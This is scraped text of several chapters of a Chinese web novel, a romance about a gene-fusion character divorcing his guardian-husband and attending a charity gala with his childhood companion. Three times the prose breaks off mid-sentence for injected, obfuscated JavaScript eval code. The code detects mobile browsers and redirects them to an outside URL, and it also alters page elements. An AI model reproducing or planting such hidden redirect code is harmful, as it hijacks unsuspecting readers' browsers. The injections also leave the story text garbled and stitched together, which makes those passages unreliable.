“你关着我的时间太长,压了那么多工作,知不知道这段时间有多少人在找我?哪有时间去医院。” 听到这里,柏之萤没好气地说:“那不还是你自己愿意的!我都不知道还有第二个门!早知道就把两扇门的密码全改掉,饿死你!” 章衔京的手机似乎拿得远了点,不知道干什么去了,几秒钟后,柏之萤听见他重新凑过来的声音,平铺直叙死水无澜:“那不还是你自己太犟,我都不知道到底怎么说你才会相信我,早知道就先把你关在家里,气死你。” 柏之萤反应过来他在学自己说话,气得头顶冒烟。 章衔京去死吧!! 骆珩昨天怎么没一枪把他给带走!!! 柏之萤挂了电话,重新把章衔京拉入黑名单,捶了一下躺椅,发觉太硬,只好劝自己通过不发泄的方式冷静。 消气后的柏之萤接着给里诺打电话。 里诺算是章衔京的生活助理,负责偏日常的工作,这事问她也很合理。 她接电话的速度比章衔京快多了。 “阿萤啊,怎么打电话过来啦,是工作的事有什么问题嘛?好久不见,我好想你呀。” 柏之萤脸上不自觉地浮现一个微笑:“嘿嘿,不用去章衔京那里受气的日子,确实过得很快。” 里诺:“……我看领导也并没有给你太多气受吧。” 刚被气个半死的柏之萤这就有些话不投机半句多的感觉:“那个,其实我打电话是想问,章衔京回去上班了吧,他肩上的伤怎么样?” 里诺正在章衔京的办公室,刚听完章衔京跟柏之萤的电话,眼角余光还偷偷看到章衔京为了忍一个不太明显的笑而把手机拿远的动作。 虽然听不到柏之萤说了什么,但她领导的意思,她已经领会得很充分。 闻言,里诺停下手里擦桌子的动作,瞎编:“挺严重的,好像失血太多,所以脸色特别差,领导对止痛药又有耐受性,每次发作起来,都满脸的冷汗,身边没有知冷知热的人,太可怜了,我们看了都心疼。” 每次发作? 这不是总共才一个上午? 这个里诺,一点好都不学。 枉他以前用零花钱请她喝了那么多奶茶。 柏之萤接二连三被耍,把账都记在了章衔京的头上,趴在躺椅上连恋爱技巧的视频都没看,忙着诅咒他。 骆珩说是只出去一会儿,确实时间不长。 柏之萤还没晒够太阳,他就回来了,把玻璃花房的柏之萤扛下楼放在了客厅的沙发上。 骆珩在南加的这处房产,是柏之萤住过那么多地方里最喜欢的。 到处都是落地窗,只要室外有光,里头就不会暗。 跟开灯是不一样的感觉。 顶楼还有那么大一个无遮挡的玻璃顶花房。 章衔京在锡城那栋独立的别墅也有落地窗,不过没有这里多。 柏之萤以前来的机会少,现在他决定与章衔京离婚,想到以后可以常常住在这里,心里就特别开心。 到了沙发上,他换成了仰面平躺的姿势,让阳光均匀地洒在自己身上。 骆珩靠着沙发坐在地毯上,手里整理着一堆东西,看样子是些武器,嘴上说:“周末在新港有个慈善晚会,我爸妈也去。你想不想去?我到时候刚好没事。” 柏之萤想了想,说:“上次见叔叔阿姨都好久了,他们肯定都想我了。” 骆珩没忍住拿手背蹭了下柏之萤的脸,眼角眉梢染上笑意,说:“是啊,常问我什么时候再带你回去。” “那我去吧。”柏之萤说,“现在感觉像回到了大学的时候,放暑假,跟着你到处跑。” 骆珩回头看他。 柏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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两个人的呼吸都很乱,刚才骆珩说他拿着枪的那只手不知何时托在了柏之萤的屁股底下,与自己的身体做了个格挡。 柏之萤陷在他的怀抱里,近距离看着他的眼睛,看着他眼睛里的自己,忍不住伸手在他脸上摸了摸。 以前骆珩做过很多遍这个动作,柏之萤还是第一次。 他发现骆珩的脸也很热,烫得他只用指尖碰了碰就挪开。 骆珩的表情也有些僵硬,垂下的睫毛挡住一些情绪,柏之萤还是看懂了。 “骆珩,我真的特别想,想要你。”柏之萤用很喜欢他的语气说。 骆珩的下颌线一下子变得紧绷,瞳孔也骤然一缩。 这种时候,他身上的温柔就变得很浅淡,换上的是克制后仍泄漏出来的侵略感。 奇怪的是,柏之萤并不感觉到害怕。 身体的反应是骗不了人的,他的基因里有低等动物的序列,对本能的依赖超过普通人类。 柏之萤相信,这就是喜欢。 但骆珩可能是混了什么比人类这种克制性/欲克制到甩掉发/情期的生物更高级的基因,来自某颗阳/痿星球,还掺点忘本,不记得柏之萤第一次亲他的时候他都变成机器人了。 总而言之,他不采纳柏之萤的这套理论。 感情讲究你情我愿,柏之萤不是接受不了被拒绝的人,只不过,直到动身去新港参加慈善晚宴,他只亲了骆珩三次,每天只有一次,而且每次不超过二十分钟。 并且除了接吻的时候,他只在骆珩睡着后摸过骆珩的腹肌。 呵呵,他也决定要禁欲了。 13. 第 13 章 第十三章 鉴于柏之萤晕车、晕船、晕机,跟着骆珩去新港的慈善晚会的交通方式,在他几番取舍之下,最后还是选择了直升机。 起码速度快。 骆珩很有经验,惯例在上机前就给他戴好口罩,聊胜于无地阻隔燃油味道。 柏之萤从来不干从舷窗往外望这种事,他的乘机姿势僵硬且始终如一,为了让骆珩从头到尾紧紧抱着他让他尽量免于摇晃,还答应晚上多吃半碗饭,后来骆珩握住他肩膀低头在他脸上自由啄吻,令柏之萤实在算不来这买卖做得如何。 他感觉自己赚大了。 天空碧蓝,晴朗无云。 离开南加后,航线几乎没再经过任何城市和村庄,穿过海峡和大片没有人类足迹的原始森林,照着最短的路线朝新港飞去。 骆珩的父亲在去年第四次连任亚太联盟主席,他的母亲宫阑,则一直以热心公益的面貌,出现在政经媒体的镜头前。 两人夫唱妇随,举案齐眉,谁看了,都要夸一句家和万事兴,已经是他们几十年婚姻的常态。 这次在新港举办的年中晚会,目的也是为了历年来产生的一批在实验室没有价值、回归社会又不顺利的基因融合体筹集善款。 由宫阑牵头、有骆世同出席的晚宴,规模不算太大,但到场的各个非富即贵,安保自然异常严格。 骆珩通过远程身份核验后,直升机得以按照指示停在距离会场十公里的军用停机坪,算是最快速的通行方式。 新港和南加一样,都属于临海城市。 但它地理位置稍有不同,三面环海,又受到西风带的影响,导致冬季温暖多雨,夏季凉爽。 七八九月的新港,日照充足,但平均温度一般不超过二十二摄氏度。 下机前,骆珩将一件米色风衣给柏之萤穿上。 他低头整理柏之萤风衣里面的牛仔裤和白衬衣,柏之萤纤细白皙的颈项就在他眼前弯出一个美好的弧度,侧脸皮肤柔嫩光滑,莹白的耳廓被一点碎发微微遮住。 骆珩伸手,帮他掖到耳后。 柏之萤抬头,目光纯真:“头发好像是有点长了。” 骆珩道:“好看。” “我没说不好看。”柏之萤觉得他傻,“我就是说长长了。” 骆珩在他发顶揉了两下。 直升机的起落架已经固定好,骆珩在前,柏之萤在后,被他牢牢牵着一只手走到地面。 一行左手持盾、右手握枪的联盟军队士兵站在警戒线外,等待安保组成员对他们进行第二道核验手续。 骆珩换在柏之萤身后,等他先通过。 “麻烦您摘下口罩。”验完指纹,举着面部扫描仪的安保人员程序化道。 柏之萤依言动作,屏幕上亮起绿色对勾的同时,扫描仪发出一声清脆的“请通行”。 骆珩紧随其后。 慈善拍卖的下午场已经结束了,等待暮色降临后,酒会就要开场。 骆珩把时间掐得刚刚好,他们进入会场不久,宫问舟就站到大厅正中的壁钟前敲了敲香槟杯,讲了两句开场白,邀宫阑致辞。 宫阑今天穿了件黛青色的旗袍礼服,裁剪妥帖,腰际收拢,衬出姣好的身材曲线,头发尽数盘起,简单插了根竹叶型的发簪,颈项干净,妆容也是相配的干净大方。 她身上仅有的首饰,就是下午刚拍下的一对墨色耳饰。 耳饰本身不值钱,由水晶制成,来自收受失败融合体的残疾学校的一个学生的手工作品。 宫阑叫出五十万,是在场一个很低调的数字,将被用于该校的生理卫生室的建设。 黑色水晶晃动间隐隐折射光线,与宫阑整个人身上流淌着温柔的气息交汇融合。 她的声音同样温柔,但发言内容铿锵有力,以一句“我们坚信,人类基因高贵不可泯灭,但尊重每一个独立而自由的灵魂,才是整个社会得以抵达文明终点的唯一途径和幸福之源”结束,大厅里响起绵延不绝的掌声。 宫阑在一众带着微笑的注视中走出人群中央,停在骆珩面前。 “你爸爸要是不三请四催,下次见面,不会是在新年吧?” 骆珩的手握着柏之萤的肩,笑道:“那不会,新年前后,你们俩忙得堪比联盟巨星,我哪有资格在那时候见你们。” 宫阑甩他一记白眼,转脸问柏之萤:“阿萤,你都多久没来了,章衔京管你管得那么严?” 柏之萤学着骆珩对她笑了一下,不过没说话,慢慢往骆珩的身后挪。 几个人被宫问舟带着,走进一个安静的小厅。 骆世同已经在里面,还有几个人,看样子都非常忙碌,扶着耳机低声讲电话的讲电话,三两聚在一起看邮件的看邮件。 宫阑进门,房间里才有了人声。 “骆世同,快看啊,你的好儿子终于回家了!” 骆世同已经起身,不过他先把目光落在柏之萤的身上,招呼他坐在沙发上:“冷不冷啊阿萤,新港跟锡城的气候可不太一样。” 骆珩本人见父母的面都不多,柏之萤对他们也只算是认识。 不过他在少有的几次碰面后,就不太害怕骆世同,走过去坐了,摇摇头说:“还好的叔叔,这样也比较舒服。” 骆世同笑眯眯地“嗯”了声,道:“今天下午我看小章也来了,还拍了几件东西,你跟骆珩来得晚,是不是还没见他?” 这个小章应该指的就是章衔京。 柏之萤道:“没呢,不过刚才他秘书跟我说,他们还在会场,您找他有事吗叔叔。” “说没事好像也确实有点事。”骆世同道,“不过无关紧要,骆珩,你也过来坐。” 骆珩在沙发后站着,手随意地搭在柏之萤的肩上,另一只手拿着手机低头看。 “不用爸,我站会儿。” “你身体现在怎么样?我……” “早就没事了。”骆珩随口道,“你们不用操心我。” 宫阑在窗边站着,窗户开了一条缝,她指尖夹了支烟,闻言呵呵一笑,语气里带着冷飕飕的霜花:“古有大禹三过家门而不入,今有我儿住院半年父母不知情,骆世同,你我真是好福气,有这么报喜不报忧的孩子,晚年幸福生活不愁了。” 骆珩放下手机,好笑地看了眼宫阑,转头问骆世同:“谁又惹我妈了?” 骆世同道:“你知道的,本来基金会只在年底办慈善拍卖,但前段时间出了点问题。” 骆珩道:“怎么,有人贪污能贪到我妈头上?” 骆世同不置可否,只说:“钱多得是,不算要紧。” 要紧的是这个人,宫阑本打算重用,几年前从议政院的基层一路提拔上来,走的是草根路线。 宫阑原先的计划,是让他再在基金会待两年,积攒威望,然后直接调去南加人权总部做部长,比当年章衔京当选锡城市长还要年轻一岁,到时风头无两,前途无量。 不过现在都已经变成空谈。 看来世界上每个人都独一无二,想复制一个章衔京出来,天时地利人和还不够,需得这人本身有一颗耐打磨的心。 宫阑付出的心血不少,暂时还没见到回报,甚至埋下许多需要她一个个去填的坑,是桩很不划算的买卖。 骆珩“哦”了声,表示知道了。 骆世同悄摸打量一眼宫阑,只看到她偏过头去朝窗外吐烟的侧脸,估不出情绪,就低声数落了骆珩一句:“你要是听话,你妈也不用多这桩烦心事。” “我妈说了,儿孙都是上辈子的仇人,这辈子我来报仇,您就多担待点吧。” 说完,他回身向着宫阑道:“我说你差不多行了啊,讲不讲办公室道德,开着窗这边也闻得到。” 宫阑只抽了半根,低头在烟灰缸里摁灭剩下的一半,拿手在身前来回扇,满脸的不耐:“知道了知道了!你回来,家里多一个祖宗,带着那个小的回来,顶十个祖宗。” 说着,她走到了柏之萤面前:“跟研究所请假了?这次来新港能待几天?” 柏之萤目前处于半失业状态,跟章衔京离婚后,他打算离开锡城,不过有关于孩子的事还没查清楚,下一段打工开始的时间不能确定。 “看骆珩吧,我最近都没什么事,都听他的。” 宫阑一笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031677|178653||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我劝你还是少这么说,快把骆珩给美死了。” 骆珩也是微微一笑:“看到你儿子幸福很扎眼。” 这是特意组起来的一个社交的场合,她和骆世同都不能在里面待太久。 赶时间夹枪带棒地聊了几句,就有人来在骆世同耳边低语几句。 宫阑起身跟在身边,走出去又折回来,问乖乖坐在沙发上的柏之萤:“饿不饿?我叫人送点吃的进来,想吃什么尽管说……还是现在还没改不爱吃饭的毛病?” 柏之萤小时候因为不爱吃饭被宫阑阴阳怪气吓哭过,对他态度不好的人数出来只有三个,所以记忆犹新,阴影此时仍在。 “我吃过了,阿姨。” “还叫阿姨,什么时候能喊妈?前几个月在南加碰见官凌霄,聊了十句,有三句讲她儿子,剩下七句都是你,像是给人家下了迷魂药。” 柏之萤知道她的想念就是这种风格,但还是有些招架不来,又朝后往骆珩那边靠靠。 见骆珩马上发作,宫阑挥挥手,噼里啪啦道:“我听官凌霄说你跟章衔京吵架那架势,也算伶牙俐齿么,见了我怎么就总跟老鼠见了猫一样?行了,我走了,骆珩你自己把他照顾好,章衔京今天在,这个场合不是你们同事的婚礼,可别再搞出两个人争不明白又大打出手的新闻。” 骆珩应了声知道了,绕过沙发,坐在柏之萤身边。 顿了顿,他叫住跟在宫阑身后的宫问舟。 宫问舟是宫阑的弟弟,骆珩要叫他舅舅。 不过,姐弟俩的年龄差的有些大,宫问舟几乎是跟骆珩一起长大的。 骆珩道:“我爸是今年换的安保公司?” 宫问舟道:“是,三年一招标,我仔细查过,流程合规,没有猫腻。怎么了?” 骆珩道:“今天在停机坪的那一队人,舅舅你多关注。” 下了直升机过第二道核验,柏之萤摘了口罩,那个举扫描仪的人愣了半天,柏之萤走出几步,他还盯着看。 宫问舟一听,脸色也严肃起来:“我知道了,会当成回事的。” 宫问舟走了,柏之萤问骆珩:“我怎么没发现有人盯着我看?” “因为你被盯习惯了。”骆珩说。 “我这么好看啊。”柏之萤喜滋滋道。 骆珩笑了一下,不想吓他,同时也觉得他说的对,就没再说什么。 柏之萤看出他今天过来是有事,便也不怎么说话,只陪着他等。 没想到,等来的是章衔京。 “既然柏之萤确实对我没有感情,又坚持失去信任,只想解除婚姻关系,现在已经不肯回家,我是个遵纪守法的人,这种情况没必要纠缠。”章衔京坐在柏之萤对面的单人沙发上,身后是一扇田字型的窗户,此时朝内开,吹得他发丝微动,他的十指虚虚交插,放在膝头,是个很放松的姿势,“不过,我有一个条件。” 骆珩果断道:“我不同意。” 章衔京挑眉:“我还没说是什么条件。” “跟柏之萤有关系的,什么条件都不同意。”骆珩把桌上的离婚协议扔到他面前,“来之前说好的,特勤科不再追究你跟火鸟之间的事,你签离婚协议。” 柏之萤从这段话里听出了自己被擅自安排的意思,虽然结果是他想要的,但心中仍升起强烈的不满。 这是他跟章衔京之间的事,骆珩凭什么自作主张,替柏之萤做决定? “什么条件?”柏之萤问。 章衔京抬眼,注视他片刻,镜片后面,漆黑的眼眸中划过一丝不像逗弄的笑意,语气认真:“你跟我恢复领养关系。” 章衔京刚说完这句话,柏之萤还没来得及听懂,就下意识按住身边的骆珩,不让他起身。 这个人找机会就想跟章衔京火拼。 “……可我已经成年了,按道理,不能再被收养了吧?” 章衔京低头擦眼镜,慢条斯理道:“想想办法,总行的。阿萤,当初是你不肯听我的话,非要让我跟你结婚,现在你又坚持离婚,让我儿子老婆都没了,竹篮打水一场空,你说,真要这样,我算不算做了桩彻头彻尾的赔本买卖?” 14. 第 14 章 第十四章 早些时候,章衔京的秘书长朱思峪私下联系柏之萤,说章衔京也来了新港,话里话外想让柏之萤去见见章衔京。 章衔京会出现在新港的慈善晚宴上,骆珩的父母不会感到奇怪,柏之萤更不会觉得异常。 他从小生活在章家,身边不乏敬仰崇拜章衔京的人。 即便不特意去了解,耳濡目染,对章衔京的过往也能如数家珍。 基因融合病毒大肆泛滥的三年间,不算病毒刚刚出现、毒性最强的时候感染即死亡的人数,当时全球存活的被感染者,就高达五千万人。 不同物种的基因开始在人的身上表达,即便感染者中能觉醒异能的只是少数,概率不达百分之零点三,可基数之庞大,仍在社会中产生了数量不少的自由人异能者。 法律的空白缺失,随即令当时的世界陷入混乱。 随之而来的,是来自国家机器的血腥清洗。 与此同时,融合病毒很快适应环境,开始变异。 更易传播的同时,毒性大大下降,到今天,早已失去接触即致使基因融合的能力。 而最初泛滥全球的毒株,也被严格保存在各国的特种生物研究所内,专供生物武器的制造。 锡城特种生物研究所,就是混乱趋于终止后,建立的首个官方生产融合体的研究所,截至目前,科研水平也在领先的地位。 后来建起的那些数不胜数的研究所,有一个算一个,逐字逐句遵守的研究人员条例,也都是在当年锡城研究所所长章衔京的领导下,一条条生成的。 如果说那些已是过去,这么多年来,章衔京的政治手段一直是为走入社会的融合体争取人权,也为他积累了难以撼动的声望。 经济上,章衔京的已故父亲,曾是锡城商会会长,家族又掌握联盟上下数不清的运河与港口,账户里每分每秒都在产生巨大的利润。 联盟的融合体能在几十年间形成有序的规模,早年的自由人融合体也大多进入政府职能机构任职,其正规化甚至超越北美,难说与章衔京的财力没有关系。 所以,虽然他目前担任的职务并不算高,但再小规模的联盟政要场合,都常见他的身影。 是,他是很厉害,但这就是他动不动就要当柏之萤的爹的理由? 人家墨云都没看上他! 对于这种无理的要求,柏之萤选择无视。 章衔京似乎也并不坚持,转口问:“不恢复领养关系,那就是还不愿意离婚……你在外面也够久了,前几天我也给了你自由,今天回家?” “不要!”柏之萤斩钉截铁。 “为什么不要?” “你现在连我的记忆都敢篡改,还有什么事是你不会做的?章衔京,你让我感到很失望!” 章衔京顿了顿,停下擦眼镜的手,将那块天蓝色的柔镜布仔细叠好,放进西服内兜,才道:“这些事情你都没有证据,光靠猜测就全扔我头上,就算心里再确认,可真相连尾巴都没露,就急着跟我撕破脸,阿萤,这么多年来,我就是这样教你的?你到底是聪明还是蠢笨?” 柏之萤二度斩钉截铁:“当然是聪明!” 从章衔京几次三番阻拦柏之萤调查自己身体异常开始,那时的柏之萤还根本不确定自己会得到一个怎样的结果,但不妨碍柏之萤已经决定终止与章衔京的这种关系。 柏之萤了解自己,不管章衔京以身作则教过他多少,他对本能的依靠始终强烈,且不打算改掉。 最初想跟章衔京结婚,起源于柏之萤对他的绝对信任。 这种信任在当年十八岁的柏之萤心中轻易超越所有世俗灌输给他的友情、亲情和爱情,相信章衔京能做自己最坚实的倚靠,世事易变,人心更是,不会变的是章衔京永远不会蒙蔽、伤害柏之萤。 因此,他在成年之际立刻用另外一种契约将自己与章衔京绑定,照本来的计划,只要章衔京愿意,这种绑定将持续到柏之萤生命的终点。 柏言蹊临终前说过,柏之萤跟普通人不一样,和很多基因融合体也不一样,他只希望他好好活下去。 过去经年,柏之萤从来没有为此停止过努力。 而现在,对章衔京的信任已经崩塌,柏之萤从无侥幸心态,他知道自己必须另谋出路。 起身离开之前,柏之萤又关心了遍章衔京肩膀的枪伤。 这次他没有阴阳怪气、冷嘲热讽,也没有夸大其词,如实告诉柏之萤:“你知道我的骨骼钛钢化,子弹已经融为一体,伤口也快好了。” 他又拿起骆珩在南加的家里打印好带来的离婚协议书,反问柏之萤:“你自己看过没有?” 柏之萤当然没看过,只知道假如章衔京签字,他们就不再存在婚约关系。 章衔京道:“不信我,改信他?” 柏之萤两手叉腰,脸颊气得鼓起来:“怎么了,不可以吗?” 柏之萤长了一张漂亮得过分的猫系脸,瞪起人来更加明显,做再蠢的动作看起来都只有可爱。 不过他时常在家里耍这种无赖,章衔京面无波澜:“我总希望你能长点脑子,但这个愿望看起来很难实现。” 柏之萤知道他好好说话不会超过三句,伤人一千自损八百地丢下一句:“我要是脑子好,当初就不会想着跟你结婚。” 把自己害成现在夫离子散的地步。 假装怒气冲冲地走了。 他用力甩了把小厅的门,可惜那门沉,又加了缓冲五金,柏之萤的力气使完,门在他身后偏离的角度还没超过十度。 好在守在门口的护卫兵曾在骆珩的驻地内轮值,那时候,柏之萤无聊去靶场练枪,他们几个奉命跟着柏之萤。 柏之萤打一枪,几个人轮着往靶上瞄一枪,屏幕上只显示最优结果。 结果就是柏之萤枪枪十环。 柏之萤开心,骆珩开心,他们也开心。 他见状十分熟练地操起老本行,伸腿往门上踢了一脚,时机如斯恰当,如柏之萤的愿,制造出一声就像是他本人摔出来的响亮的摔门声。 出门后,柏之萤径直去找先前给他发消息的章衔京的秘书长,路上却先遇到墨云。 “诶,你怎么也来了?”柏之萤先惊后喜。 “复工呀。”墨云道,“上班第一天就出差,谁比我命苦?” 柏之萤“哈哈”几声,随即有不好的预感浮上心头。 “……家属不会也跟着一起来了吧。” “这可不是谁想来就能来的地方。”柏之萤一口气没放完,墨云紧接着道,“庐森带着他们在酒店等呢。” 柏之萤吓得花容失色:“不会还跟我们在同一个酒店吧。” 墨云笑眯眯点头:“当然啊,老大的房也是我负责定的。” 柏之萤愤愤不平:“你不是文书官么,怎么这种事也要做。” “多劳者多得。”墨云道,“而且我原本就很勤快,老大跟你说了没有,过几天,你就要到我办公室来打工了,我肯定不会苛待你的,阿萤。” 柏之萤被他的崽弄出点心理阴影,总觉得墨云不怀好意。 不过暂时看不出什么,而且得知骆珩已经给他找好了新的赚积分岗位,心中阴云清空一小块,就先不计较了。 墨云跟他打探小道消息:“最近老大心情还不错吧?” 柏之萤随口说:“心情?不太清楚。不过他最近禁欲,我想建议营养师帮他补补身体。” “……”墨云结巴了两下,“这,这个话题不是只适合已婚对已婚么。” 柏之萤想起章衔京还没签的离婚协议,觉得没什么毛病:“我也是已婚啊。” 墨云:“……还能不能好好聊天了。” 这晚的酒会调性清雅,服务生胸前口袋里别的花,也都是统一的白色马蹄莲。 墨云在停下的服务生的托盘中拿起一杯酒,看到马蹄莲,当即陷入了甜蜜的回忆:“这花还是成片好看,像我婚礼上那样,现在这样单独插一支,看着跟蒜苗似的。” 柏之萤情真意切地附和了两句,抬脚继续往前走。 墨云还要跟他说什么,柏之萤忙用此段社交就结束在这里的表情道:“章衔京被骆珩拖着,我要赶快去找他秘书长说几句话。” 墨云撅了撅嘴,总感觉柏之萤没有上次见面那么喜欢他了。 难道,结婚生子后就要被淡出交际圈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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骆珩倒不是很意外,尽量用易懂的话解释给他听:“这种事情,本来就没什么界限,在官方把技术保密化之前,八岁的小孩吃一口没清洗过的蔬菜,都有可能达到融合叶绿体基因的效果。早年间,官方跟基地合作,其实被很多高层默认,只是不放到台面上来说,这几年才被严令禁止。不过,就算是今天,联盟实验室里一年比一年产量大的融合体,谁能保证来路都是联盟自己的培养皿。” 锡城研究所的科研水平高,但不代表想要的技术都有。 比如多年前,北美秘密研发出夜萤军队,在维和行动中使亚太联盟几次崩溃后撤,就是其中之一。 柏之萤就是在那种局面下产生的。 他也成了柏言蹊手里第一个完全失败的项目。 不知道这次章衔京又看上北美的什么技术了。 索性自己都不研究,直接上手去抢,暴力狂。 不过,柏之萤对章衔京的兴趣不大,仰脸问骆珩:“骆珩,我今天还有一件事特别开心,你猜猜。” 他转转眼睛,露出个狡黠的笑容,努力让自己看起来很有诱惑力:“猜对有奖励哦。” “那我好好猜猜。”骆珩在他腰上紧了紧,两个人靠得更近,“你们所长没被章衔京骂,以后你想回去拿档案,他就不会给你穿小鞋,社保公积金都不用断缴,工作年限再加五年,彻底摆脱考核,你就不用操心特种生物积分了,对不对?” 柏之萤很想夸骆珩一句天才,但他不知道自己脸上的表情太可爱,被骆珩抢先亲了上来,就没能说出话来。 亲到一个红灯,车子停下,骆珩的嘴唇也离开了。 不过只离开了非常短的距离。 他的目光盯得柏之萤几乎瞳孔失焦,柏之萤喘了片刻,才勉强用正常的嗓音说出话来,只不过声音低得他自己都听不清:“你还没问我奖励是什么呢。” “是什么?” “再让你亲五分钟。” 骆珩的声音同样很低:“那太好了。” 骆珩重新亲下来,柏之萤不明就里,但管不了那么多,先抱着他的脖子热情地回应他,同时觉得男朋友不禁欲确实是太好啦!!! 15.第 15 章 第十五章 翌日中午一点钟,新港饭店四十八楼的行政套房飘窗上,柏之萤端坐着,怀里挤着三团墨鱼仔。 墨鱼仔快被烤干了,柏之萤毫无所觉,周身被阳光镀上一层金色的透明层,浑身暖暖的很惬意,闭着眼睛一根根触手数过去。 “我有孩子。” “我没有。” “有。” “没有。” “有。” “没有。” …… 跟送餐的服务生一起进来的还有墨云,他手忙脚乱把自家崽子扔进浴缸里泡着,又把柏之萤赶到餐桌旁,按照骆珩的指令监督他吃饭。 柏之萤听话地拿叉子戳了片叶子送进嘴里嚼嚼嚼,一边问墨云:“骆珩什么时候回来?” “老大复查应该快吧。”墨云见他没像对着骆珩那样谈条件,心想这两个人的感情真是突飞猛进得好,一边道,“他身上的伤倒还好,昏迷那么长时间,主要是因为海马体受损,医生说,这个急不来,要慢慢恢复。” “哪个医生?” “祁既白医生。” 墨云对祁既白的态度很尊重,如非必要,从不直呼大名。 柏之萤又嚼了片叶子:“他很厉害么?” “对呀,他是整个南加针对特种生物最好的产科医生。” “……产科。” 墨云道:“其他方面肯定也算专业,不过他最精通的还是产科,我家三个崽,都是在他手下从培育囊安全出来的。” “那骆珩带我看产科是什么意思?” “你最近特别粘人,不是基因觉醒导致的性成熟早期,就是不明原因导致的孕激素异常,不管是哪种情况,都应该找产科医生。” 柏之萤听他说得特别有道理,又吃了片叶子。 墨鱼仔吸饱了水,从浴缸爬出来,钻过浴室门缝,扒到了柏之萤的小腿上。 柏之萤今天穿短裤,皮肉被触手直接吸上来碰到了痒痒肉,腰一软,面条一样坐到餐桌底下去了。 墨云知道他不吃了,给骆珩报了个信。 骆珩拿起手机,看完墨云详细发来的“挑食大王柏之萤午餐都吃了些什么”,回复了句“知道了”。 墨云:还有,阿萤确实不怎么记得祁既白医生了。 骆珩关上手机屏幕,抬眼继续听祁既白说。 “那个提取记忆转视频还能编辑的数据转换机,其实用过,开机申请还是我签的名,后台数据显示,当时给两个人用过,但我根本不记得这事儿,我感觉其中一个人肯定是我,那做决定的只可能是你。可能是干了什么需要带进坟墓里的事儿。” 骆珩刚从脑电波干扰仪上下来,实际上头还疼的厉害,不过没让它太干扰思绪:“你觉得这跟柏之萤有关系。” “他对我的态度不太对劲,感觉像不认识我。其他方面的异常,可以认为是性成熟早期或者其他什么激素异常影响了整个人的行为方式,但这一点我能确认。” “还有。”祁既白一页页翻着柏之萤那厚厚一摞的精神分析报告道,“他对墨云的态度也很成问题。” 最近,柏之萤常提起墨云没当成他妈的事,实则这事在他好几年前就已经放下了。 根据报告给出的数据来看,他的记忆确实有些错乱。 原本他们都认为,这是已经变态到疯了的章衔京做的,可现在看来,也许跟骆珩与祁既白有脱不开的关系。 能是什么呢? 骆珩的大脑深处在爆炸中受到伤害,其中损伤最明显的是海马体。 不过,他醒来后,发觉只是近段时间的记忆有所遗忘,对他的生活几乎没有任何影响,工作衔接得也很顺利,他就只是按部就班地接受复查和理疗。 难道恰巧就是他忘掉的那么几小段记忆里,有重要的情节发生? “人在濒死情况下,的确会回避特别痛苦的记忆。”祁既白道。 “那就再开一次机。”骆珩说。 祁既白有些愣:“啊?” “记忆不会消失,只会被掩埋。既然它有用,那就把它找出来。” 柏之萤呈“大”字型躺在酒店巨大的床上,两个胳肢窝下和肚子上分别睡着一个人类婴儿,嘴里各叼一个奶嘴。 等他们睡熟了,柏之萤就按照墨云的嘱咐,把奶嘴取了下来。 这三个崽对柏之萤的热情有增无减,墨云实际上也很困扰,常对柏之萤说抱歉。 不过可能就像骆珩之前说过的,特种生物的婴幼儿生长速度很快,神经系统的发育也一样。 这次见面,没再发生过柏之萤在睡梦中被触手堵住口鼻、差点窒息的事。 他们表达喜欢的方式更像人类了。 不知道柏之萤那个薛定谔的孩子现在是什么样。 它存在过没有,现在还活着吗? 如果还活着,现在长多大了? 渐渐的,柏之萤也感觉到困倦,神志流入一个漩涡,眼皮也沉重起来。 门锁有轻微的响动,他察觉到是骆珩回来了。 不过这个认知令人安心,所以非但没有让他醒来,反而更沉地睡了过去。 再醒过来,墨鱼仔们都不在了,骆珩在窗边的椅子上坐着。 他手里没有拿着什么东西看,只是那么坐着,整个人静得像一座雕像。 柏之萤的这一觉睡得太沉,醒来后,他先没有说话,只默默地侧过身,眼睛看着骆珩。 骆珩很快就发觉他醒了,走到床边把他抱起来。 柏之萤浑身放松地陷进他怀里,闻到骆珩身上他特别喜欢的味道,被骆珩抱着,重新回到了他刚才坐的地方。 窗户被打开了一条缝,这时靠近了,发凉的晚风吹进来,柏之萤能听到地面上此起彼伏的车笛声响成一片没有间歇的白噪声。 他们的房间太高,不止声音无法完整地传递上来,似乎连光线都在被吞没。 往下看,是暮色降临时昏黄的天空,远处鳞立的高楼大厦,将天际线切割成参差不齐的折线,看起来也像是商场里给小孩提供休憩场所常见的乐高玩具。 房间里也没开灯,周围一片静谧,柏之萤抬手把掌心盖在骆珩的侧脸,摸到意料当中的冰凉。 “晚上更冷,你坐在这里多久?可能会感冒的。” 骆珩没什么意义地“嗯”了声,把自己的手盖在柏之萤的手背上。 “骆珩……”柏之萤拉长声音叫他的名字。 “嗯。” “我今天好想你。”柏之萤说,“你知道吗?” “你没回我的消息,所以我刚刚才知道。”骆珩也去捏他绵软的脸颊。 柏之萤闷声笑了两声,继续往他怀里钻了钻,也安静了片刻,还在醒盹。 困倦时的柏之萤跟他清醒时有很大的不同,长而卷的眼睫毛微垂,眼睛里也是湿漉漉的。 